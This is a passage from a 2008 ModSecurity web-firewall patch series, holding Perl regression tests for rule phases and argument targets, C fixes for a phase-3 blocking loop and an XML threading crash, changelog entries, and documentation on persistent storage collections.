SecRule RESPONSE_HEADERS:Last-Modified "." "phase:1,pass,log,auditlog" + SecRule RESPONSE_BODY "TEST" "phase:1,pass,log,auditlog" + ), + match_log => { + error => [ qr/Pattern match "\^POST" at REQUEST_LINE/, 1 ], + -error => [ qr/Pattern match .* (ARGS|RESPONSE)/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# Phase 2 (request body) +{ + type => "rule", + comment => "phase 2", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_LINE "^POST" "phase:2,pass,log,auditlog" + SecRule ARGS "val1" "phase:2,pass,log,auditlog" + SecRule RESPONSE_HEADERS:Last-Modified "." "phase:2,pass,log,auditlog" + SecRule RESPONSE_BODY "TEST" "phase:2,pass,log,auditlog" + ), + match_log => { + error => [ qr/Pattern match "\^POST" at REQUEST_LINE.*Pattern match "val1" at ARGS/s, 1 ], + -error => [ qr/Pattern match .* RESPONSE/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# Phase 3 (response headers) +{ + type => "rule", + comment => "phase 3", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_LINE "^POST" "phase:3,pass,log,auditlog" + SecRule ARGS "val1" "phase:3,pass,log,auditlog" + SecRule RESPONSE_HEADERS:Last-Modified "." "phase:3,pass,log,auditlog" + SecRule RESPONSE_BODY "TEST" "phase:3,pass,log,auditlog" + ), + match_log => { + error => [ qr/Pattern match "\^POST" at REQUEST_LINE.*Pattern match "val1" at ARGS.*Pattern match "\." at RESPONSE_HEADERS/s, 1 ], + -error => [ qr/Pattern match .* RESPONSE_BODY/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# Phase 4 (response body) +{ + type => "rule", + comment => "phase 4", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_LINE "^POST" "phase:4,pass,log,auditlog" + SecRule ARGS "val1" "phase:4,pass,log,auditlog" + SecRule RESPONSE_HEADERS:Last-Modified "." "phase:4,pass,log,auditlog" + SecRule RESPONSE_BODY "TEST" "phase:4,pass,log,auditlog" + ), + match_log => { + error => [ qr/Pattern match "\^POST" at REQUEST_LINE.*Pattern match "val1" at ARGS.*Pattern match "\." at RESPONSE_HEADERS.*Pattern match "TEST" at RESPONSE_BODY/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# Phase 5 (logging) +{ + type => "rule", + comment => "phase 5", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule REQUEST_LINE "^POST" "phase:5,pass,log,auditlog" + SecRule ARGS "val1" "phase:5,pass,log,auditlog" + SecRule RESPONSE_HEADERS:Last-Modified "." "phase:5,pass,log,auditlog" + SecRule RESPONSE_BODY "TEST" "phase:5,pass,log,auditlog" + ), + match_log => { + error => [ qr/Pattern match "\^POST" at REQUEST_LINE.*Pattern match "val1" at ARGS.*Pattern match "\." at RESPONSE_HEADERS.*Pattern match "TEST" at RESPONSE_BODY/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, diff --git a/apache2/t/regression/target/00-targets.t b/apache2/t/regression/target/00-targets.t new file mode 100644 index 00000000..fcbb1fab --- /dev/null +++ b/apache2/t/regression/target/00-targets.t @@ -0,0 +1,443 @@ +### Test basic targets + +# ARGS +{ + type => "target", + comment => "ARGS (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS "val1" "phase:2,log,pass" + SecRule ARGS "val2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "val1" at ARGS.*Pattern match "val2" at ARGS/s, 1 ], + debug => [ qr/Adding request argument \(QUERY_STRING\): name "arg1", value "val1".*Adding request argument \(QUERY_STRING\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS "val1" "phase:2,log,pass" + SecRule ARGS "val2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "val1" at ARGS.*Pattern match "val2" at ARGS/s, 1 ], + debug => [ qr/Adding request argument \(BODY\): name "arg1", value "val1".*Adding request argument \(BODY\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# ARGS_COMBINED_SIZE +{ + type => "target", + comment => "ARGS_COMBINED_SIZE (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule ARGS_COMBINED_SIZE "\@eq 16" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Operator EQ matched 16 at ARGS_COMBINED_SIZE\./s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS_COMBINED_SIZE (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecRule ARGS_COMBINED_SIZE "\@eq 16" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Operator EQ matched 16 at ARGS_COMBINED_SIZE\./s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# ARGS_NAMES +{ + type => "target", + comment => "ARGS_NAMES (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_NAMES "arg1" "phase:2,log,pass" + SecRule ARGS_NAMES "arg2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "arg1" at ARGS.*Pattern match "arg2" at ARGS/s, 1 ], + debug => [ qr/Adding request argument \(QUERY_STRING\): name "arg1", value "val1".*Adding request argument \(QUERY_STRING\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS_NAMES (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_NAMES "arg1" "phase:2,log,pass" + SecRule ARGS_NAMES "arg2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "arg1" at ARGS_NAMES.*Pattern match "arg2" at ARGS_NAMES/s, 1 ], + debug => [ qr/Adding request argument \(BODY\): name "arg1", value "val1".*Adding request argument \(BODY\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# ARGS_GET +{ + type => "target", + comment => "ARGS_GET (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_GET "val1" "phase:2,log,pass" + SecRule ARGS_GET "val2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "val1" at ARGS_GET.*Pattern match "val2" at ARGS_GET/s, 1 ], + debug => [ qr/Adding request argument \(QUERY_STRING\): name "arg1", value "val1".*Adding request argument \(QUERY_STRING\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS_GET (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_GET "val1" "phase:2,log,pass" + SecRule ARGS_GET "val2" "phase:2,log,pass" + ), + match_log => { + -error => [ qr/Pattern match/, 1 ], + debug => [ qr/Adding request argument \(BODY\): name "arg1", value "val1".*Adding request argument \(BODY\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# ARGS_GET_NAMES +{ + type => "target", + comment => "ARGS_GET_NAMES (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_GET_NAMES "arg1" "phase:2,log,pass" + SecRule ARGS_GET_NAMES "arg2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "arg1" at ARGS_GET.*Pattern match "arg2" at ARGS_GET/s, 1 ], + debug => [ qr/Adding request argument \(QUERY_STRING\): name "arg1", value "val1".*Adding request argument \(QUERY_STRING\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS_GET_NAMES (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_GET_NAMES "arg1" "phase:2,log,pass" + SecRule ARGS_GET_NAMES "arg2" "phase:2,log,pass" + ), + match_log => { + -error => [ qr/Pattern match/, 1 ], + debug => [ qr/Adding request argument \(BODY\): name "arg1", value "val1".*Adding request argument \(BODY\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# ARGS_POST +{ + type => "target", + comment => "ARGS_POST (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_POST "val1" "phase:2,log,pass" + SecRule ARGS_POST "val2" "phase:2,log,pass" + ), + match_log => { + -error => [ qr/Pattern match/, 1 ], + debug => [ qr/Adding request argument \(QUERY_STRING\): name "arg1", value "val1".*Adding request argument \(QUERY_STRING\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS_POST (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_POST "val1" "phase:2,log,pass" + SecRule ARGS_POST "val2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "val1" at ARGS_POST.*Pattern match "val2" at ARGS_POST/s, 1 ], + debug => [ qr/Adding request argument \(BODY\): name "arg1", value "val1".*Adding request argument \(BODY\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# ARGS_POST_NAMES +{ + type => "target", + comment => "ARGS_POST_NAMES (get)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_POST_NAMES "arg1" "phase:2,log,pass" + SecRule ARGS_POST_NAMES "arg2" "phase:2,log,pass" + ), + match_log => { + -error => [ qr/Pattern match/, 1 ], + debug => [ qr/Adding request argument \(QUERY_STRING\): name "arg1", value "val1".*Adding request argument \(QUERY_STRING\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt?arg1=val1&arg2=val2", + ), +}, +{ + type => "target", + comment => "ARGS_POST_NAMES (post)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecResponseBodyAccess On + SecResponseBodyMimeType null + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule ARGS_POST_NAMES "arg1" "phase:2,log,pass" + SecRule ARGS_POST_NAMES "arg2" "phase:2,log,pass" + ), + match_log => { + error => [ qr/Pattern match "arg1" at ARGS_POST.*Pattern match "arg2" at ARGS_POST/s, 1 ], + debug => [ qr/Adding request argument \(BODY\): name "arg1", value "val1".*Adding request argument \(BODY\): name "arg2", value "val2"/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "arg1=val1&arg2=val2", + ), +}, + +# TODO: AUTH_TYPE +# TODO: ENV +# TODO: FILES +# TODO: FILES_COMBINED_SIZE +# TODO: FILES_NAMES +# TODO: FILES_SIZES +# TODO: FILES_TMPNAMES +# TODO: GEO +# TODO: HIGHEST_SEVERITY +# TODO: MATCHED_VAR +# TODO: MATCHED_VAR_NAME +# TODO: MODSEC_BUILD +# TODO: MULTIPART_CRLF_LF_LINES +# TODO: MULTIPART_STRICT_ERROR +# TODO: MULTIPART_UNMATCHED_BOUNDARY +# TODO: PATH_INFO +# TODO: QUERY_STRING +# TODO: REMOTE_ADDR +# TODO: REMOTE_HOST +# TODO: REMOTE_PORT +# TODO: REMOTE_USER +# TODO: REQBODY_PROCESSOR +# TODO: REQBODY_PROCESSOR_ERROR +# TODO: REQBODY_PROCESSOR_ERROR_MSG +# TODO: REQUEST_BASENAME +# TODO: REQUEST_BODY +# TODO: REQUEST_COOKIES +# TODO: REQUEST_COOKIES_NAMES +# TODO: REQUEST_FILENAME +# TODO: REQUEST_HEADERS +# TODO: REQUEST_HEADERS_NAMES +# TODO: REQUEST_LINE +# TODO: REQUEST_METHOD +# TODO: REQUEST_PROTOCOL +# TODO: REQUEST_URI +# TODO: REQUEST_URI_RAW +# TODO: RESPONSE_BODY +# TODO: RESPONSE_CONTENT_LENGTH +# TODO: RESPONSE_CONTENT_TYPE +# TODO: RESPONSE_HEADERS +# TODO: RESPONSE_HEADERS_NAMES +# TODO: RESPONSE_PROTOCOL +# TODO: RESPONSE_STATUS +# TODO: RULE +# TODO: SCRIPT_BASENAME +# TODO: SCRIPT_FILENAME +# TODO: SCRIPT_GID +# TODO: SCRIPT_GROUPNAME +# TODO: SCRIPT_MODE +# TODO: SCRIPT_UID +# TODO: SCRIPT_USERNAME +# TODO: SERVER_ADDR +# TODO: SERVER_NAME +# TODO: SERVER_PORT +# TODO: SESSION +# TODO: SESSIONID +# TODO: TIME +# TODO: TIME_DAY +# TODO: TIME_EPOCH +# TODO: TIME_HOUR +# TODO: TIME_MIN +# TODO: TIME_MON +# TODO: TIME_SEC +# TODO: TIME_WDAY +# TODO: TIME_YEAR +# TODO: TX +# TODO: USERID +# TODO: WEBAPPID +# TODO: WEBSERVER_ERROR_LOG +# TODO: XML + diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 3a6b6674..91582a52 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -412,7 +412,7 @@ sub match_file { my($neg,$fn) = ($_[0] =~ m/^(-?)(.*)$/); unless (exists $FILE{$fn}) { $FILE{$fn}{fn} = $fn; - $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT); + $FILE{$fn}{fd} = new FileHandle($fn, O_RDONLY); $FILE{$fn}{fd}->blocking(0); $FILE{$fn}{buf} = ""; } @@ -663,20 +663,6 @@ sub httpd_reset_fd { } } - - # Any extras listed in "match_file" - if ($t and exists $t->{match_file}) { - for my $k (keys %{ $t->{match_file} || {} }) { - my($neg,$fn) = ($k =~ m/^(-?)(.*)$/); - next if (!$fn or exists $FILE{$fn}); - #dbg("Opening file: $fn"); - $FILE{$fn}{fn} = $fn; - $FILE{$fn}{fd} = new FileHandle($fn, O_RDWR|O_CREAT); - $FILE{$fn}{fd}->blocking(0); - $FILE{$fn}{buf} = ""; - - } - } } sub encode_chunked { From 0c1f2f2e0908cc2d7a4093105b005de0a9e5cb0e Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 19:31:22 +0000 Subject: [PATCH 039/110] Fixed blocking in phase 3 by reverting changeset:591 (for now). See #65 and #498. --- CHANGES | 4 +++- apache2/mod_security2.c | 5 +++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/CHANGES b/CHANGES index 3c0a6fae..84c30e58 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,8 @@ -09 May 2008 - trunk +30 May 2008 - trunk ------------------- +* Fixed blocking in phase 3. + * Persistent counter updates are now atomic. * Force modules "mod_rpaf-2.0.c" and "mod_custom_header.c" to run before diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index c26e37c0..61a63e5d 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -961,6 +961,8 @@ static void hook_insert_filter(request_rec *r) { } } +/* NOTE: This is causing and endless loop when blocking in phase:3 */ +#if 0 /** * Invoked whenever Apache starts processing an error. A chance * to insert ourselves into the output filter chain. @@ -1002,6 +1004,7 @@ static void hook_insert_error_filter(request_rec *r) { } } } +#endif #if (!defined(NO_MODSEC_API)) /** @@ -1105,7 +1108,9 @@ static void register_hooks(apr_pool_t *mp) { /* Filter hooks */ ap_hook_insert_filter(hook_insert_filter, NULL, NULL, APR_HOOK_FIRST); +#if 0 ap_hook_insert_error_filter(hook_insert_error_filter, NULL, NULL, APR_HOOK_FIRST); +#endif ap_register_input_filter("MODSECURITY_IN", input_filter, NULL, AP_FTYPE_CONTENT_SET); From 6241dfe961555b0ff1c3bcb922f19fb3b8540481 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 20:01:44 +0000 Subject: [PATCH 040/110] Fixed XML multithreading crash. See #501. --- CHANGES | 3 +++ apache2/modsecurity.c | 4 ++++ 2 files changed, 7 insertions(+) diff --git a/CHANGES b/CHANGES index 84c30e58..f303b941 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ 30 May 2008 - trunk ------------------- +* Fixed issue with multithreaded servers where concurrent XML processing + could crash the web server (at least under Windows). + * Fixed blocking in phase 3. * Persistent counter updates are now atomic. diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index 4ec77d8e..81abecab 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -15,6 +15,7 @@ #include "modsecurity.h" #include "msc_parsers.h" #include "msc_util.h" +#include "msc_xml.h" modsec_build_type_rec DSOLOCAL modsec_build_type[] = { { "-dev", 1 }, /* Development build */ @@ -121,6 +122,9 @@ int modsecurity_init(msc_engine *msce, apr_pool_t *mp) { * Performs per-child (new process) initialisation. */ void modsecurity_child_init(msc_engine *msce) { + /* Need to call this once per process before any other XML calls. */ + xmlInitParser(); + if (msce->auditlog_lock != NULL) { apr_status_t rc = apr_global_mutex_child_init(&msce->auditlog_lock, NULL, msce->mp); if (rc != APR_SUCCESS) { From 4d2fa2741cf772e1f8f2e23e0f47a78e51a7461a Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 20:07:47 +0000 Subject: [PATCH 041/110] Backported changeset:1056 to 2.5.x which handles a lacking new line after the final multipart boundary. See #502. --- CHANGES | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGES b/CHANGES index f303b941..1045d7af 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ 30 May 2008 - trunk ------------------- +* Handle lack of a new line after the final boundary in a multipart request. + This fixes the reported WordPress Flash file uploader problem. + * Fixed issue with multithreaded servers where concurrent XML processing could crash the web server (at least under Windows). From 0c95f9c644e314a3133553fc27f536145a610d9f Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 20:16:34 +0000 Subject: [PATCH 042/110] Backport fix to improve request body processing error messages. See #504. --- CHANGES | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGES b/CHANGES index 1045d7af..a1ffdabd 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,8 @@ 30 May 2008 - trunk ------------------- +* Improve request body processing error messages. + * Handle lack of a new line after the final boundary in a multipart request. This fixes the reported WordPress Flash file uploader problem. From 6cd8459bc85e4c41666eaaf9efc48c894d1f2a06 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 30 May 2008 20:52:51 +0000 Subject: [PATCH 043/110] Update docs on persistant storage. See #479 and #495. --- doc/modsecurity2-apache-reference.xml | 149 ++++++++++++++------------ 1 file changed, 82 insertions(+), 67 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index d69256e6..fd4c8856 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4409,77 +4409,12 @@ SecRule REQUEST_URI "^/cgi-bin/script\.pl" \ <para><emphasis>Note</emphasis></para> - <para>Every collection contains several built-in variables that are - read-only:</para> - - <orderedlist continuation="restarts" inheritnum="ignore"> - <listitem> - <para><literal moreinfo="none">CREATE_TIME</literal> - date/time of - the creation of the collection.</para> - </listitem> - - <listitem> - <para><literal moreinfo="none">IS_NEW</literal> - set to 1 if the - collection is new (not yet persisted) otherwise set to 0.</para> - </listitem> - - <listitem> - <para><literal moreinfo="none">KEY</literal> - the value of the - initcol variable (the client's IP address in the example).</para> - </listitem> - - <listitem> - <para><literal moreinfo="none">LAST_UPDATE_TIME</literal> - - date/time of the last update to the collection.</para> - </listitem> - - <listitem> - <para><literal moreinfo="none">TIMEOUT</literal> - date/time in - seconds when the collection will be updated on disk from memory (if - no other updates occur).</para> - </listitem> - - <listitem> - <para><literal moreinfo="none">UPDATE_COUNTER</literal> - how many - times the collection has been updated since creation.</para> - </listitem> - - <listitem> - <para><literal moreinfo="none">UPDATE_RATE</literal> - is the - average rate updates per minute since creation.</para> - </listitem> - </orderedlist> - <para>Collections are loaded into memory when the initcol action is - encountered. The collection in storage will be updated (and the + encountered. The collection in storage will be persisted (and the appropriate counters increased) <emphasis>only</emphasis> if it was changed during transaction processing.</para> - <note> - <para>To create a collection to hold session variables (<literal - moreinfo="none">SESSION</literal>) use action <literal - moreinfo="none">setsid</literal>. To create a collection to hold user - variables (<literal moreinfo="none">USER</literal>) use action - <literal moreinfo="none">setuid</literal>.</para> - </note> - - <note> - <para>At this time it is only possible to have three - collections:<literal moreinfo="none"> IP</literal>,<literal - moreinfo="none"> SESSION</literal>, and <literal - moreinfo="none">USER</literal>.</para> - </note> - - <note> - <para>Please note that ModSecurity does not implement atomic updates - of persistent variables at this time. Variables are read from storage - whenever <literal>initcol</literal> is encountered in the rules and - persisted at the end of request processing. On busy servers requests - often run in parallel, leading to situations where one request - overwrites the changes made by another request. We anticipate - implementing atomic updates of counter values in a future - version.</para> - </note> + <para>See the "Persistant Storage" section for further details.</para> </section> <section> @@ -5604,6 +5539,86 @@ SecRule REQUEST_METHOD "!<emphasis>@within %{tx.allowed_methods}</emphasis>" t:l RULE, SESSION, USERID, among others.</para> </section> + <section> + <title>Persistant Storage + + At this time it is only possible to have three collections in which + data is stored persistantly (i.e. data available to multiple requests). + These are: IP, SESSION and USER. + + Every collection contains several built-in variables that are + available and are read-only unless otherwise specified: + + + + CREATE_TIME - date/time of + the creation of the collection. + + + + IS_NEW - set to 1 if the + collection is new (not yet persisted) otherwise set to 0. + + + + KEY - the value of the + initcol variable (the client's IP address in the example). + + + + LAST_UPDATE_TIME - date/time + of the last update to the collection. + + + + TIMEOUT - date/time in + seconds when the collection will be updated on disk from memory (if no + other updates occur). This variable may be set if you wish to specifiy + an explicit expiration time (default is 3600 seconds). + + + + UPDATE_COUNTER - how many + times the collection has been updated since creation. + + + + UPDATE_RATE - is the average + rate updates per minute since creation. + + + + To create a collection to hold session variables (SESSION) use action setsid. To create a collection to hold user + variables (USER) use action setuid. To create a collection to hold client + address variables (IP) use action + initcol. + + + ModSecurity implements atomic updates of persistent variables only + for integer variables (counters) at this time. Variables are read from + storage whenever initcol is encountered in the rules + and persisted at the end of request processing. Counters are adjusted by + applying a delta generated by re-reading the persisted data just before + being persisted. This keeps counter data consistent even if the counter + was modified and persisted by another thread/process during the + transaction. + + + + ModSecurity uses a Berkley Database (SDBM) for persistant storage. + This type of database is generally limited to storing a maximum of 1008 + bytes per key. This may be a limitation if you are attempting to store a + considerable amount of data in variables for a single key. Some of this + limitation is planned to be reduced in a future version of + ModSecurity. + + +

Data Formats From e209cb7688f0067b37280d2f075b2b700f50d1a0 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 2 Jun 2008 23:13:45 +0000 Subject: [PATCH 044/110] More regression testing updates. --- apache2/t/regression/action/10-logging.t | 2 +- .../regression/config/10-request-directives.t | 74 ++-- .../t/regression/misc/00-multipart-parser.t | 361 ++++++++++++++++++ apache2/t/regression/rule/00-basics.t | 2 +- apache2/t/regression/target/00-targets.t | 46 ++- apache2/t/run-regression-tests.pl.in | 28 +- 6 files changed, 477 insertions(+), 36 deletions(-) create mode 100644 apache2/t/regression/misc/00-multipart-parser.t diff --git a/apache2/t/regression/action/10-logging.t b/apache2/t/regression/action/10-logging.t index c94c14ca..0c15bd42 100644 --- a/apache2/t/regression/action/10-logging.t +++ b/apache2/t/regression/action/10-logging.t @@ -135,7 +135,7 @@ ), match_log => { -error => [ qr/ModSecurity: /, 1 ], - # ENH: No message, but should have data. Is this intended? + # No message, but should have data. This may need changed audit => [ qr/-H--\s+Stopwatch: /s, 1 ], }, match_response => { diff --git a/apache2/t/regression/config/10-request-directives.t b/apache2/t/regression/config/10-request-directives.t index 97bd0cb8..19e7802e 100644 --- a/apache2/t/regression/config/10-request-directives.t +++ b/apache2/t/regression/config/10-request-directives.t @@ -190,7 +190,7 @@ SecDebugLogLevel 9 SecRequestBodyAccess On SecRequestBodyLimit 1000 - SecRequestBodyInMemoryLimit 266 + SecRequestBodyInMemoryLimit 276 ), match_log => { -debug => [ qr/Input filter: Request too large to store in memory, switching to disk\./, 1 ], @@ -198,22 +198,32 @@ match_response => { status => qr/^200$/, }, - request => qq( - POST /test.txt HTTP/1.1 - Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} - User-Agent: $ENV{USER_AGENT} - Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 - Transfer-Encoding: chunked + request => normalize_raw_request_data( + qq( + POST /test.txt HTTP/1.1 + Host: 